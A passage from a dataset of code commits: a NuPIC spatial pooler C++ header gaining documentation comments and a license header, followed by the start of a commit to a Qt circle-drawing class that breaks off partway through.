connectedCounts[]);\n\n\n \/\/ Implementation methods. all methods below this line are\n \/\/ NOT part of the public API\n\n void stripNeverLearned_(UInt activeArray[]);\n\n\n void toDense_(vector<UInt>& sparse,\n UInt dense[],\n UInt n);\n\n void boostOverlaps_(vector<UInt>& overlaps,\n vector<Real>& boostedOverlaps);\n void range_(Int start, Int end, UInt ubound, bool wrapAround,\n vector<UInt>& rangeVector);\n\n vector<UInt> mapPotential1D_(UInt column, bool wrapAround);\n Real initPermConnected_();\n Real initPermNonConnected_();\n vector<Real> initPermanence_(vector<UInt>& potential,\n Real connectedPct);\n void clip_(vector<Real>& perm, bool trim);\n void updatePermanencesForColumn_(vector<Real>& perm, UInt column,\n bool raisePerm=true);\n UInt countConnected_(vector<Real>& perm);\n UInt raisePermanencesToThreshold_(vector<Real>& perm,\n vector<UInt>& potential);\n\n void calculateOverlap_(UInt inputVector[],\n vector<UInt>& overlap);\n void calculateOverlapPct_(vector<UInt>& overlaps,\n vector<Real>& overlapPct);\n\n\n bool isWinner_(Real score, vector<pair<UInt, Real> >& winners,\n UInt numWinners);\n\n void addToWinners_(UInt index, Real score,\n vector<pair<UInt, Real> >& winners);\n\n void inhibitColumns_(vector<Real>& overlaps,\n vector<UInt>& activeColumns);\n void inhibitColumnsGlobal_(vector<Real>& overlaps, Real density,\n vector<UInt>& activeColumns);\n void inhibitColumnsLocal_(vector<Real>& overlaps, Real density,\n vector<UInt>& activeColumns);\n\n void getNeighbors1D_(UInt column, vector<UInt>& dimensions,\n UInt radius, bool wrapAround,\n vector<UInt>& neighbors);\n void getNeighbors2D_(UInt column, vector<UInt>& dimensions,\n UInt radius, bool wrapAround,\n vector<UInt>& neighbors);\n void cartesianProduct_(vector<vector<UInt> >& vecs,\n vector<vector<UInt> >& product);\n\n void getNeighborsND_(UInt column, vector<UInt>& dimensions,\n UInt radius, bool wrapAround,\n vector<UInt>& neighbors);\n\n void adaptSynapses_(UInt inputVector[],\n vector<UInt>& activeColumns);\n void bumpUpWeakColumns_();\n\n void updateInhibitionRadius_();\n Real avgColumnsPerInput_();\n Real avgConnectedSpanForColumn1D_(UInt column);\n Real avgConnectedSpanForColumn2D_(UInt column);\n Real avgConnectedSpanForColumnND_(UInt column);\n void updateMinDutyCycles_();\n void updateMinDutyCyclesGlobal_();\n void updateMinDutyCyclesLocal_();\n static void updateDutyCyclesHelper_(vector<Real>& dutyCycles,\n vector<UInt>& newValues,\n UInt period);\n void updateDutyCycles_(vector<UInt>& overlaps,\n UInt activeArray[]);\n void updateBoostFactors_();\n void updateBookeepingVars_(bool learn);\n\n bool isUpdateRound_();\n\n\n virtual void initialize(vector<UInt> inputDimensions,\n vector<UInt> columnDimensions,\n UInt potentialRadius=16,\n Real potentialPct=0.5,\n bool globalInhibition=true,\n Real localAreaDensity=-1.0,\n UInt numActiveColumnsPerInhArea=10,\n UInt stimulusThreshold=0,\n Real synPermInactiveDec=0.01,\n Real synPermActiveInc=0.1,\n Real synPermConnected=0.1,\n Real minPctOverlapDutyCycles=0.001,\n Real minPctActiveDutyCycles=0.001,\n UInt dutyCyclePeriod=1000,\n Real maxBoost=10.0,\n Int seed=1,\n UInt spVerbosity=0);\n\n void seed_(UInt64 seed);\n\n \/\/-------------------------------------------------------------------\n \/\/ Debugging helpers\n \/\/-------------------------------------------------------------------\n\n \/\/ Print the main SP creation parameters\n void printParameters();\n \n \/\/ Print the given UInt array in a nice format\n void printState(vector<UInt> &state);\n\n \/\/ Print the given Real array in a nice format\n void printState(vector<Real> &state);\n\n protected:\n UInt numInputs_;\n UInt numColumns_;\n vector<UInt> columnDimensions_;\n vector<UInt> inputDimensions_;\n UInt potentialRadius_;\n Real potentialPct_;\n Real initConnectedPct_;\n bool globalInhibition_;\n Int numActiveColumnsPerInhArea_;\n Real localAreaDensity_;\n UInt stimulusThreshold_;\n UInt inhibitionRadius_;\n UInt dutyCyclePeriod_;\n Real maxBoost_;\n UInt iterationNum_;\n UInt iterationLearnNum_;\n UInt spVerbosity_;\n UInt updatePeriod_;\n\n Real synPermMin_;\n Real synPermMax_;\n Real synPermTrimThreshold_;\n Real synPermInactiveDec_;\n Real synPermActiveInc_;\n Real synPermBelowStimulusInc_;\n Real synPermConnected_;\n\n vector<Real> boostFactors_;\n vector<Real> overlapDutyCycles_;\n vector<Real> activeDutyCycles_;\n vector<Real> minOverlapDutyCycles_;\n vector<Real> minActiveDutyCycles_;\n\n Real minPctOverlapDutyCycles_;\n Real minPctActiveDutyCycles_;\n\n SparseMatrix<UInt,Real,Int,Real64> permanences_;\n SparseBinaryMatrix<UInt,UInt> potentialPools_;\n SparseBinaryMatrix<UInt, UInt> connectedSynapses_;\n vector<UInt> connectedCounts_;\n\n vector<UInt> overlaps_;\n vector<Real> overlapsPct_;\n vector<Real> boostedOverlaps_;\n vector<UInt> activeColumns_;\n vector<Real> tieBreaker_;\n\n UInt version_;\n Random rng_;\n\n };\n } \/\/ end namespace spatial_pooler\n } \/\/ end namespace algorithms\n} \/\/ end namespace nta\n#endif \/\/ NTA_spatial_pooler_HPP\n<commit_msg>Added initial documentation<commit_after>\/* ---------------------------------------------------------------------\n * Numenta Platform for Intelligent Computing (NuPIC)\n * Copyright (C) 2013, Numenta, Inc. Unless you have an agreement\n * with Numenta, Inc., for a separate license for this software code, the\n * following terms and conditions apply:\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License version 3 as\n * published by the Free Software Foundation.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n * See the GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see http:\/\/www.gnu.org\/licenses.\n *\n * http:\/\/numenta.org\/licenses\/\n * ----------------------------------------------------------------------\n *\/\n\n\/** @file\n * Definitions for the Spatial Pooler\n *\/\n\n#ifndef NTA_spatial_pooler_HPP\n#define NTA_spatial_pooler_HPP\n\n#include <cstring>\n#include <iostream>\n#include <nta\/math\/SparseBinaryMatrix.hpp>\n#include <nta\/math\/SparseMatrix.hpp>\n#include <nta\/types\/types.hpp>\n#include <string>\n#include <vector>\n\nusing namespace std;\n\nnamespace nta {\n namespace algorithms {\n namespace spatial_pooler {\n\n \/**\n * CLA spatial pooler implementation in C++.\n *\n * ### Description\n * The Spatial Pooler is responsible for creating a sparse distributed\n * representation of the input. Given an input it computes a set of sparse\n * active columns and simultaneously updates its permanences, duty cycles,\n * etc.\n * \n * The primary public interfaces to this function are the \"initialize\"\n * and \"compute\" methods.\n *\n * Example usage:\n * \n * SpatialPooler sp;\n * sp.initialize(inputDimensions, columnDimensions, <parameters>);\n * while (true) {\n * <get input vector>\n * sp.compute(inputVector, learn, activeColumns)\n * <do something with output>\n * }\n * \n *\/\n class SpatialPooler {\n public:\n SpatialPooler();\n\n ~SpatialPooler() {}\n\n \/**\n Initialize the spatial pooler using the given parameters.\n \n @param inputDimensions A list of integers representing the \n dimensions of the input vector. Format is [height, width,\n depth, ...], where each value represents the size of the\n dimension. For a topology of one dimesion with 100 inputs\n use [100]. For a two dimensional topology of 10x5\n use [10,5].\n \n @param columnDimensions A list of integers representing the\n dimensions of the columns in the region. Format is [height,\n width, depth, ...], where each value represents the size of\n the dimension. For a topology of one dimesion with 2000\n columns use 2000, or [2000]. For a three dimensional\n topology of 32x64x16 use [32, 64, 16]. \n \n @param potentialRadius This parameter deteremines the extent of the \n input that each column can potentially be connected to. This\n can be thought of as the input bits that are visible to each\n column, or a 'receptive field' of the field of vision. A large\n enough value will result in global coverage, meaning\n that each column can potentially be connected to every input\n bit. This parameter defines a square (or hyper square) area: a\n column will have a max square potential pool with sides of\n length (2 * potentialRadius + 1). \n\n @param potentialPct The percent of the inputs, within a column's\n potential radius, that a column can be connected to. If set to\n 1, the column will be connected to every input within its\n potential radius. This parameter is used to give each column a\n unique potential pool when a large potentialRadius causes\n overlap between the columns. At initialization time we choose\n ((2*potentialRadius + 1)^(# inputDimensions) * potentialPct)\n input bits to comprise the column's potential pool.\n\n @param globalInhibition If true, then during inhibition phase the \n winning columns are selected as the most active columns from the\n region as a whole. Otherwise, the winning columns are selected\n with resepct to their local neighborhoods. Global inhibition\n boosts performance significantly but there is no topology at the\n output.\n \n @param localAreaDensity The desired density of active columns within \n a local inhibition area (the size of which is set by the\n internally calculated inhibitionRadius, which is in turn\n determined from the average size of the connected potential\n pools of all columns). The inhibition logic will insure that at\n most N columns remain ON within a local inhibition area, where\n N = localAreaDensity * (total number of columns in inhibition\n area). If localAreaDensity is set to a negative value output\n sparsity will be determined by the numActivePerInhArea. \n\n @param numActivePerInhArea An alternate way to control the sparsity of \n active columns. If numActivePerInhArea is specified then\n localAreaDensity must less than 0, and vice versa. When \n numActivePerInhArea > 0, the inhibition logic will insure that\n at most 'numActivePerInhArea' columns remain ON within a local\n inhibition area (the size of which is set by the internally\n calculated inhibitionRadius). When using this method, as columns\n learn and grow their effective receptive fields, the\n inhibitionRadius will grow, and hence the net density of the\n active columns will *decrease*. This is in contrast to the\n localAreaDensity method, which keeps the density of active\n columns the same regardless of the size of their receptive\n fields.\n \n @param stimulusThreshold This is a number specifying the minimum \n number of synapses that must be active in order for a column to\n turn ON. The purpose of this is to prevent noisy input from\n activating columns. \n \n @param synPermInactiveDec The amount by which the permanence of an \n inactive synapse is decremented in each learning step. \n\n @param synPermActiveInc The amount by which the permanence of an \n active synapse is incremented in each round. \n\n @param synPermConnected The default connected threshold. Any synapse \n whose permanence value is above the connected threshold is\n a \"connected synapse\", meaning it can contribute to\n the cell's firing.\n \n @param minPctOvlerapDutyCycle A number between 0 and 1.0, used to set \n a floor on how often a column should have at least\n stimulusThreshold active inputs. Periodically, each column looks\n at the overlap duty cycle of all other column within its\n inhibition radius and sets its own internal minimal acceptable\n duty cycle to: minPctDutyCycleBeforeInh * max(other columns'\n duty cycles). On each iteration, any column whose overlap duty\n cycle falls below this computed value will get all of its\n permanence values boosted up by synPermActiveInc. Raising all\n permanences in response to a sub-par duty cycle before\n inhibition allows a cell to search for new inputs when either\n its previously learned inputs are no longer ever active, or when\n the vast majority of them have been \"hijacked\" by other columns.\n\n @param minPctActiveDutyCycle A number between 0 and 1.0, used to set \n a floor on how often a column should be activate. Periodically,\n each column looks at the activity duty cycle of all other\n columns within its inhibition radius and sets its own internal\n minimal acceptable duty cycle to:\n \n minPctDutyCycleAfterInh * max(other columns' duty cycles).\n\n On each iteration, any column whose duty cycle after inhibition\n falls below this computed value will get its internal boost\n factor increased.\n\n @param dutyCyclePeriod The period used to calculate duty cycles. \n Higher values make it take longer to respond to changes in\n boost. Shorter values make it potentially more unstable and\n likely to oscillate.\n \n @param maxBoost The maximum overlap boost factor. Each column's\n overlap gets multiplied by a boost factor before it gets\n considered for inhibition. The actual boost factor for a column\n is a number between 1.0 and maxBoost. A boost factor of 1.0 is\n used if the duty cycle is >= minOverlapDutyCycle, maxBoost is\n used if the duty cycle is 0, and any duty cycle in between is\n linearly extrapolated from these 2 endpoints.\n\n @param seed Seed for our random number generator. If seed is < 0\n a randomly generated seed is used. The behavior of the spatial\n pooler is deterministic once the seed is set.\n\n @param spVerbosity spVerbosity level: 0, 1, 2, or 3\n\n *\/\n virtual void initialize(vector<UInt> inputDimensions,\n vector<UInt> columnDimensions,\n UInt potentialRadius=16,\n Real potentialPct=0.5,\n bool globalInhibition=true,\n Real localAreaDensity=-1.0,\n UInt numActiveColumnsPerInhArea=10,\n UInt stimulusThreshold=0,\n Real synPermInactiveDec=0.01,\n Real synPermActiveInc=0.1,\n Real synPermConnected=0.1,\n Real minPctOverlapDutyCycles=0.001,\n Real minPctActiveDutyCycles=0.001,\n UInt dutyCyclePeriod=1000,\n Real maxBoost=10.0,\n Int seed=1,\n UInt spVerbosity=0);\n\n \/**\n This is the main workshorse method of the SpatialPooler class. This\n method takes an input vector and computes the set of output active\n columns. If 'learn' is set to True, this method also performs\n learning.\n \n @param inputVector An array of integer 0's and 1's that comprises\n the input to the spatial pooler. The length of the \n array must match the total number of input bits implied by\n the constructor (also returned by the method getNumInputs). In\n cases where the input is multi-dimensional, inputVector is a\n flattened array of inputs.\n \n @param learn A boolean value indicating whether learning should be \n performed. Learning entails updating the permanence values of\n the synapses, duty cycles, etc. Learning is typically on but\n setting learning to 'off' is useful for analyzing the current\n state of the SP. For example, you might want to feed in various\n inputs and examine the resulting SDR's. Note that if learning\n is off, boosting is turned off and columns that have never won\n will be removed from activeVector. TODO: we may want to keep\n boosting on even when learning is off.\n \n @param activeArray An array representing the winning columns after\n inhinition. The size of the array is equal to the number of\n columns (also returned by the method getNumColumns). This array\n will be populated with 1's at the indices of the active columns,\n and 0's everywhere else. In the case where the output is\n multi-dimensional, activeVector represents a flattened array\n of outputs.\n *\/\n virtual void compute(UInt inputVector[], bool learn,\n UInt activeVector[]);\n\n \/**\n * Get the version number of this spatial pooler\n * @returns Integer version number\n *\/\n virtual UInt version() const {\n return version_;\n };\n\n \/**\n Save (serialize) the current state of the spatial pooler to the\n specified output stream.\n \n @param outStream A valid ostream.\n *\/\n virtual void save(ostream& outStream);\n\n \/**\n Load (deserialize) and initialize the spatial pooler from the\n specified input stream.\n \n @param inStream A valid istream.\n *\/\n virtual void load(istream& inStream);\n\n \/**\n Returns the number of bytes that a save operation would result in.\n Note: this method is currently somewhat inefficient as it just does\n a full save into an ostream and counts the resulting size.\n \n @returns Integer number of bytes\n *\/\n virtual UInt persistentSize();\n\n UInt getNumColumns();\n UInt getNumInputs();\n\n UInt getPotentialRadius();\n void setPotentialRadius(UInt potentialRadius);\n\n Real getPotentialPct();\n void setPotentialPct(Real potentialPct);\n\n bool getGlobalInhibition();\n void setGlobalInhibition(bool globalInhibition);\n\n Int getNumActiveColumnsPerInhArea();\n void setNumActiveColumnsPerInhArea(UInt numActiveColumnsPerInhArea);\n\n Real getLocalAreaDensity();\n void setLocalAreaDensity(Real localAreaDensity);\n\n UInt getStimulusThreshold();\n void setStimulusThreshold(UInt stimulusThreshold);\n\n UInt getInhibitionRadius();\n void setInhibitionRadius(UInt inhibitionRadius);\n\n UInt getDutyCyclePeriod();\n void setDutyCyclePeriod(UInt dutyCyclePeriod);\n\n Real getMaxBoost();\n void setMaxBoost(Real maxBoost);\n\n UInt getIterationNum();\n void setIterationNum(UInt iterationNum);\n\n UInt getIterationLearnNum();\n void setIterationLearnNum(UInt iterationLearnNum);\n\n UInt getSpVerbosity();\n void setSpVerbosity(UInt spVerbosity);\n\n UInt getUpdatePeriod();\n void setUpdatePeriod(UInt updatePeriod);\n\n Real getSynPermTrimThreshold();\n void setSynPermTrimThreshold(Real synPermTrimThreshold);\n\n Real getSynPermActiveInc();\n void setSynPermActiveInc(Real synPermActiveInc);\n\n Real getSynPermInactiveDec();\n void setSynPermInactiveDec(Real synPermInactiveDec);\n\n Real getSynPermBelowStimulusInc();\n void setSynPermBelowStimulusInc(Real synPermBelowStimulusInc);\n\n Real getSynPermConnected();\n void setSynPermConnected(Real setSynPermConnected);\n\n Real getMinPctOverlapDutyCycles();\n void setMinPctOverlapDutyCycles(Real minPctOverlapDutyCycles);\n\n Real getMinPctActiveDutyCycles();\n void setMinPctActiveDutyCycles(Real minPctActiveDutyCycles);\n\n void getBoostFactors(Real boostFactors[]);\n void setBoostFactors(Real boostFactors[]);\n\n void getOverlapDutyCycles(Real overlapDutyCycles[]);\n void setOverlapDutyCycles(Real overlapDutyCycles[]);\n\n void getActiveDutyCycles(Real activeDutyCycles[]);\n void setActiveDutyCycles(Real activeDutyCycles[]);\n\n void getMinOverlapDutyCycles(Real minOverlapDutyCycles[]);\n void setMinOverlapDutyCycles(Real minOverlapDutyCycles[]);\n\n void getMinActiveDutyCycles(Real minActiveDutyCycles[]);\n void setMinActiveDutyCycles(Real minActiveDutyCycles[]);\n\n void getPotential(UInt column, UInt potential[]);\n void setPotential(UInt column, UInt potential[]);\n\n void getPermanence(UInt column, Real permanence[]);\n void setPermanence(UInt column, Real permanence[]);\n\n void getConnectedSynapses(UInt column, UInt connectedSynapses[]);\n\n void getConnectedCounts(UInt connectedCounts[]);\n\n \/**\n Print the main SP creation parameters to stdout. \n *\/\n void printParameters();\n\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/\n \/\/ Implementation methods. all methods below this line are\n \/\/ NOT part of the public API\n\n void stripNeverLearned_(UInt activeArray[]);\n\n\n void toDense_(vector<UInt>& sparse,\n UInt dense[],\n UInt n);\n\n void boostOverlaps_(vector<UInt>& overlaps,\n vector<Real>& boostedOverlaps);\n void range_(Int start, Int end, UInt ubound, bool wrapAround,\n vector<UInt>& rangeVector);\n\n vector<UInt> mapPotential1D_(UInt column, bool wrapAround);\n Real initPermConnected_();\n Real initPermNonConnected_();\n vector<Real> initPermanence_(vector<UInt>& potential,\n Real connectedPct);\n void clip_(vector<Real>& perm, bool trim);\n void updatePermanencesForColumn_(vector<Real>& perm, UInt column,\n bool raisePerm=true);\n UInt countConnected_(vector<Real>& perm);\n UInt raisePermanencesToThreshold_(vector<Real>& perm,\n vector<UInt>& potential);\n\n void calculateOverlap_(UInt inputVector[],\n vector<UInt>& overlap);\n void calculateOverlapPct_(vector<UInt>& overlaps,\n vector<Real>& overlapPct);\n\n\n bool isWinner_(Real score, vector<pair<UInt, Real> >& winners,\n UInt numWinners);\n\n void addToWinners_(UInt index, Real score,\n vector<pair<UInt, Real> >& winners);\n\n void inhibitColumns_(vector<Real>& overlaps,\n vector<UInt>& activeColumns);\n void inhibitColumnsGlobal_(vector<Real>& overlaps, Real density,\n vector<UInt>& activeColumns);\n void inhibitColumnsLocal_(vector<Real>& overlaps, Real density,\n vector<UInt>& activeColumns);\n\n void getNeighbors1D_(UInt column, vector<UInt>& dimensions,\n UInt radius, bool wrapAround,\n vector<UInt>& neighbors);\n void getNeighbors2D_(UInt column, vector<UInt>& dimensions,\n UInt radius, bool wrapAround,\n vector<UInt>& neighbors);\n void cartesianProduct_(vector<vector<UInt> >& vecs,\n vector<vector<UInt> >& product);\n\n void getNeighborsND_(UInt column, vector<UInt>& dimensions,\n UInt radius, bool wrapAround,\n vector<UInt>& neighbors);\n\n void adaptSynapses_(UInt inputVector[],\n vector<UInt>& activeColumns);\n void bumpUpWeakColumns_();\n\n void updateInhibitionRadius_();\n Real avgColumnsPerInput_();\n Real avgConnectedSpanForColumn1D_(UInt column);\n Real avgConnectedSpanForColumn2D_(UInt column);\n Real avgConnectedSpanForColumnND_(UInt column);\n void updateMinDutyCycles_();\n void updateMinDutyCyclesGlobal_();\n void updateMinDutyCyclesLocal_();\n static void updateDutyCyclesHelper_(vector<Real>& dutyCycles,\n vector<UInt>& newValues,\n UInt period);\n void updateDutyCycles_(vector<UInt>& overlaps,\n UInt activeArray[]);\n void updateBoostFactors_();\n void updateBookeepingVars_(bool learn);\n\n bool isUpdateRound_();\n\n\n void seed_(UInt64 seed);\n\n \/\/-------------------------------------------------------------------\n \/\/ Debugging helpers\n \/\/-------------------------------------------------------------------\n\n \/\/ Print the given UInt array in a nice format\n void printState(vector<UInt> &state);\n\n \/\/ Print the given Real array in a nice format\n void printState(vector<Real> &state);\n\n protected:\n UInt numInputs_;\n UInt numColumns_;\n vector<UInt> columnDimensions_;\n vector<UInt> inputDimensions_;\n UInt potentialRadius_;\n Real potentialPct_;\n Real initConnectedPct_;\n bool globalInhibition_;\n Int numActiveColumnsPerInhArea_;\n Real localAreaDensity_;\n UInt stimulusThreshold_;\n UInt inhibitionRadius_;\n UInt dutyCyclePeriod_;\n Real maxBoost_;\n UInt iterationNum_;\n UInt iterationLearnNum_;\n UInt spVerbosity_;\n UInt updatePeriod_;\n\n Real synPermMin_;\n Real synPermMax_;\n Real synPermTrimThreshold_;\n Real synPermInactiveDec_;\n Real synPermActiveInc_;\n Real synPermBelowStimulusInc_;\n Real synPermConnected_;\n\n vector<Real> boostFactors_;\n vector<Real> overlapDutyCycles_;\n vector<Real> activeDutyCycles_;\n vector<Real> minOverlapDutyCycles_;\n vector<Real> minActiveDutyCycles_;\n\n Real minPctOverlapDutyCycles_;\n Real minPctActiveDutyCycles_;\n\n SparseMatrix<UInt,Real,Int,Real64> permanences_;\n SparseBinaryMatrix<UInt,UInt> potentialPools_;\n SparseBinaryMatrix<UInt, UInt> connectedSynapses_;\n vector<UInt> connectedCounts_;\n\n vector<UInt> overlaps_;\n vector<Real> overlapsPct_;\n vector<Real> boostedOverlaps_;\n vector<UInt> activeColumns_;\n vector<Real> tieBreaker_;\n\n UInt version_;\n Random rng_;\n\n };\n } \/\/ end namespace spatial_pooler\n } \/\/ end namespace algorithms\n} \/\/ end namespace nta\n#endif \/\/ NTA_spatial_pooler_HPP\n<|endoftext|>"} {"text":"<commit_before>#if defined(_QT_GUI_USED_)\n#include <QPainter>\n#include <QDebug>\n#endif\n\n#include <math.h>\n#include \"zcircle.h\"\n#include \"tz_math.h\"\n#include \"zintpoint.h\"\n\n\nconst ZCircle::TVisualEffect ZCircle::VE_NONE = 0;\nconst ZCircle::TVisualEffect ZCircle::VE_DASH_PATTERN = 1;\nconst ZCircle::TVisualEffect ZCircle::VE_BOUND_BOX = 2;\nconst ZCircle::TVisualEffect ZCircle::VE_NO_CIRCLE = 4;\nconst ZCircle::TVisualEffect ZCircle::VE_NO_FILL = 8;\nconst ZCircle::TVisualEffect ZCircle::VE_GRADIENT_FILL = 16;\nconst ZCircle::TVisualEffect ZCircle::VE_OUT_FOCUS_DIM = 32;\n\nZCircle::ZCircle() : m_visualEffect(ZCircle::VE_NONE)\n{\n set(0, 0, 0, 1);\n}\n\nZCircle::ZCircle(double x, double y, double z, double r) :\n m_visualEffect(ZCircle::VE_NONE)\n{\n set(x, y, z, r);\n}\n\nvoid ZCircle::set(double x, double y, double z, double r)\n{\n m_center.set(x, y, z);\n m_r = r;\n}\n\nvoid ZCircle::set(const ZIntPoint ¢er, double r)\n{\n set(center.getX(), center.getY(), center.getZ(), r);\n}\n\nvoid ZCircle::set(const ZPoint ¢er, double r)\n{\n set(center.x(), center.y(), center.z(), r);\n}\n\n\/\/void ZCircle::display(QImage *image, int n, Display_Style style) const\n\/\/{\n\/\/#if defined(_QT_GUI_USED_)\n\/\/ QPainter painter(image);\n\/\/ painter.setPen(m_color);\n\/\/ display(&painter, n, style);\n\/\/#endif\n\/\/}\n\nvoid ZCircle::display(ZPainter &painter, int n,\n ZStackObject::Display_Style style) const\n{\n if (!isVisible()) {\n return;\n }\n\n UNUSED_PARAMETER(style);\n#if _QT_GUI_USED_\n QPen pen(m_color, getPenWidth());\n pen.setCosmetic(m_usingCosmeticPen);\n\n if (hasVisualEffect(VE_DASH_PATTERN)) {\n pen.setStyle(Qt::DotLine);\n }\n\n painter.setPen(pen);\n\n \/\/qDebug() << \"Internal color: \" << m_color;\n const QBrush &oldBrush = painter.brush();\n if (hasVisualEffect(VE_GRADIENT_FILL)) {\n QRadialGradient gradient(50, 50, 50, 50, 50);\n gradient.setColorAt(0, QColor::fromRgbF(0, 1, 0, 1));\n gradient.setColorAt(1, QColor::fromRgbF(0, 0, 0, 0));\n\n \/*\n QBrush brush(gradient);\n brush.setColor(m_color);\n brush.setStyle(Qt::RadialGradientPattern);\n painter.setBrush(brush);\n *\/\n \/\/painter.setBrush(m_color);\n \/\/painter.setBrush(QBrush(m_color, Qt::RadialGradientPattern));\n } else {\n if (hasVisualEffect(VE_NO_FILL)) {\n painter.setBrush(Qt::NoBrush);\n }\n }\n displayHelper(&painter, n, style);\n painter.setBrush(oldBrush);\n#endif\n}\n\nbool ZCircle::isCuttingPlane(double z, double r, double n)\n{\n double h = fabs(z - n);\n if (r > h) {\n return true;\n } else if (iround(z) == iround(n)) {\n return true;\n }\n\n return false;\n}\n\nbool ZCircle::isCuttingPlane(double n)\n{\n return isCuttingPlane(m_center.z(), m_r, n);\n}\n\ndouble ZCircle::getAdjustedRadius(double r) const\n{\n double adjustedRadius = r;\n if (!m_usingCosmeticPen) {\n adjustedRadius += getPenWidth() * 0.5;\n }\n\n return adjustedRadius;\n}\n\nvoid ZCircle::displayHelper(ZPainter *painter, int stackFocus, Display_Style style) const\n{\n UNUSED_PARAMETER(style);\n#if defined(_QT_GUI_USED_)\n double adjustedRadius = getAdjustedRadius(m_r);\n\n double dataFocus = stackFocus - painter->getOffset().z();\n bool visible = false;\n\n double alpha = 1.0;\n if (stackFocus == -1) {\n visible = true;\n } else {\n if (isCuttingPlane(m_center.z(), m_r, dataFocus)) {\n double h = fabs(m_center.z() - dataFocus);\n double r = 0.0;\n if (m_r > h) {\n r = sqrt(m_r * m_r - h * h);\n adjustedRadius = getAdjustedRadius(r);\n \/\/adjustedRadius = r + getPenWidth() * 0.5;\n visible = true;\n } else { \/\/too small, show at least one plane\n \/\/adjustedRadius = getPenWidth() * 0.5;\n r = 0.1;\n adjustedRadius = getAdjustedRadius(r);\n visible = true;\n }\n if (hasVisualEffect(VE_OUT_FOCUS_DIM)) {\n alpha = r \/ m_r;\n alpha *= alpha;\n }\n }\n }\n\n if (visible) {\n if (!hasVisualEffect(VE_NO_CIRCLE)) {\n \/\/qDebug() << painter->brush().color();\n QColor color = painter->pen().color();\n color.setAlphaF(alpha);\n painter->setPen(color);\n painter->drawEllipse(QPointF(m_center.x(), m_center.y()),\n adjustedRadius, adjustedRadius);\n }\n }\n\n if (hasVisualEffect(VE_BOUND_BOX)) {\n QRectF rect;\n rect.setLeft(m_center.x() - adjustedRadius);\n rect.setTop(m_center.y() - adjustedRadius);\n rect.setWidth(adjustedRadius + adjustedRadius);\n rect.setHeight(adjustedRadius + adjustedRadius);\n\n const QBrush &oldBrush = painter->brush();\n const QPen &oldPen = painter->pen();\n painter->setBrush(Qt::NoBrush);\n\n QPen pen = oldPen;\n pen.setStyle(Qt::SolidLine);\n pen.setCosmetic(m_usingCosmeticPen);\n painter->setPen(pen);\n\n#if 0 \/\/for future versions\n QPen pen = oldPen;\n QVector<qreal> pattern;\n pattern << 1 << 2;\n pen.setDashPattern(pattern);\n painter->setPen(pen);\n painter->drawRect(rect);\n\n pen.setColor(Qt::black);\n pen.setDashOffset(1.5);\n painter->setPen(pen);\n#endif\n\n \/\/QPainter::CompositionMode oldMode = painter->compositionMode();\n \/\/painter->setCompositionMode(QPainter::RasterOp_SourceXorDestination);\n painter->drawRect(rect);\n\n \/\/painter->setCompositionMode(oldMode);\n painter->setBrush(oldBrush);\n painter->setPen(oldPen);\n }\n#endif\n}\n\nvoid ZCircle::save(const char *filePath)\n{\n UNUSED_PARAMETER(filePath);\n}\n\nbool ZCircle::load(const char *filePath)\n{\n UNUSED_PARAMETER(filePath);\n\n return false;\n}\n\nZSTACKOBJECT_DEFINE_CLASS_NAME(ZCircle)\n<commit_msg>fix color bug<commit_after>#if defined(_QT_GUI_USED_)\n#include <QPainter>\n#include <QDebug>\n#endif\n\n#include <math.h>\n#include \"zcircle.h\"\n#include \"tz_math.h\"\n#include \"zintpoint.h\"\n\n\nconst ZCircle::TVisualEffect ZCircle::VE_NONE = 0;\nconst ZCircle::TVisualEffect ZCircle::VE_DASH_PATTERN = 1;\nconst ZCircle::TVisualEffect ZCircle::VE_BOUND_BOX = 2;\nconst ZCircle::TVisualEffect ZCircle::VE_NO_CIRCLE = 4;\nconst ZCircle::TVisualEffect ZCircle::VE_NO_FILL = 8;\nconst ZCircle::TVisualEffect ZCircle::VE_GRADIENT_FILL = 16;\nconst ZCircle::TVisualEffect ZCircle::VE_OUT_FOCUS_DIM = 32;\n\nZCircle::ZCircle() : m_visualEffect(ZCircle::VE_NONE)\n{\n set(0, 0, 0, 1);\n}\n\nZCircle::ZCircle(double x, double y, double z, double r) :\n m_visualEffect(ZCircle::VE_NONE)\n{\n set(x, y, z, r);\n}\n\nvoid ZCircle::set(double x, double y, double z, double r)\n{\n m_center.set(x, y, z);\n m_r = r;\n}\n\nvoid ZCircle::set(const ZIntPoint ¢er, double r)\n{\n set(center.getX(), center.getY(), center.getZ(), r);\n}\n\nvoid ZCircle::set(const ZPoint ¢er, double r)\n{\n set(center.x(), center.y(), center.z(), r);\n}\n\n\/\/void ZCircle::display(QImage *image, int n, Display_Style style) const\n\/\/{\n\/\/#if defined(_QT_GUI_USED_)\n\/\/ QPainter painter(image);\n\/\/ painter.setPen(m_color);\n\/\/ display(&painter, n, style);\n\/\/#endif\n\/\/}\n\nvoid ZCircle::display(ZPainter &painter, int n,\n ZStackObject::Display_Style style) const\n{\n if (!isVisible()) {\n return;\n }\n\n UNUSED_PARAMETER(style);\n#if _QT_GUI_USED_\n QPen pen(m_color, getPenWidth());\n pen.setCosmetic(m_usingCosmeticPen);\n\n if (hasVisualEffect(VE_DASH_PATTERN)) {\n pen.setStyle(Qt::DotLine);\n }\n\n painter.setPen(pen);\n\n \/\/qDebug() << \"Internal color: \" << m_color;\n const QBrush &oldBrush = painter.brush();\n if (hasVisualEffect(VE_GRADIENT_FILL)) {\n QRadialGradient gradient(50, 50, 50, 50, 50);\n gradient.setColorAt(0, QColor::fromRgbF(0, 1, 0, 1));\n gradient.setColorAt(1, QColor::fromRgbF(0, 0, 0, 0));\n\n \/*\n QBrush brush(gradient);\n brush.setColor(m_color);\n brush.setStyle(Qt::RadialGradientPattern);\n painter.setBrush(brush);\n *\/\n \/\/painter.setBrush(m_color);\n \/\/painter.setBrush(QBrush(m_color, Qt::RadialGradientPattern));\n } else {\n if (hasVisualEffect(VE_NO_FILL)) {\n painter.setBrush(Qt::NoBrush);\n }\n }\n displayHelper(&painter, n, style);\n 